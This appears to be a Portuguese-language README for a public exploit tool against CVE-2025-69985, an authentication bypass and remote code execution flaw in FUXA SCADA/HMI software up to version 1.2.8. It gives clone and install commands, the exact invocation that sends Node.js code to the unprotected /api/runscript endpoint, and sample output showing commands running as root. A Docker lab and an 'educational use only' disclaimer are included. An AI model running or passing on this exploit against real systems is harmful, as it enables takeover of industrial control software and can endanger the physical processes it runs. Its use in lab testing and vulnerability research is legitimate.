joshuavanderpoll/cve-2025-69985CVE-2025-69985: FUXA ≤1.2.8 Bypass de Autenticação + RCE via /api/runscript
Este exploit em Python tem como alvo a CVE-2025-69985, uma vulnerabilidade crítica de bypass de autenticação no FUXA (software SCADA/HMI baseado na web) versões ≤ 1.2.8. Ao enviar um payload JSON malicioso com código Node.js embutido para o endpoint desprotegido /api/runscript, ele consegue execução remota de comandos como o processo FUXA — capturando todo o stdout/stderr de forma síncrona na resposta.
[!NOTE] Para garantir um ambiente limpo e isolado para as dependências do projeto, é recomendado usar o módulo
venvdo Python.
git clone https://github.com/joshuavanderpoll/CVE-2025-69985.git
cd CVE-2025-69985
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2025-69985.git
cd CVE-2025-69985
python -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2025-69985.py -u http://localhost:1881/ -c whoami
Target : http://localhost:1881
Command: whoami
[*] Preparando payload → executando: whoami
[*] Enviando requisição de exploit para /api/runscript ...
[*] Status da resposta: 200
[+] Comando executado com sucesso (bypass CVE-2025-69985)!
=== SAÍDA DO COMANDO ===
"root\n"
======================
======================================================================
Exploit concluído!.
======================================================================
cd docker/
docker compose down
docker compose up -d
# Você pode testar em --url http://127.0.0.1:1881/
Esta ferramenta é fornecida apenas para fins educacionais e de pesquisa. O criador não assume nenhuma responsabilidade por qualquer uso indevido ou dano causado pela ferramenta.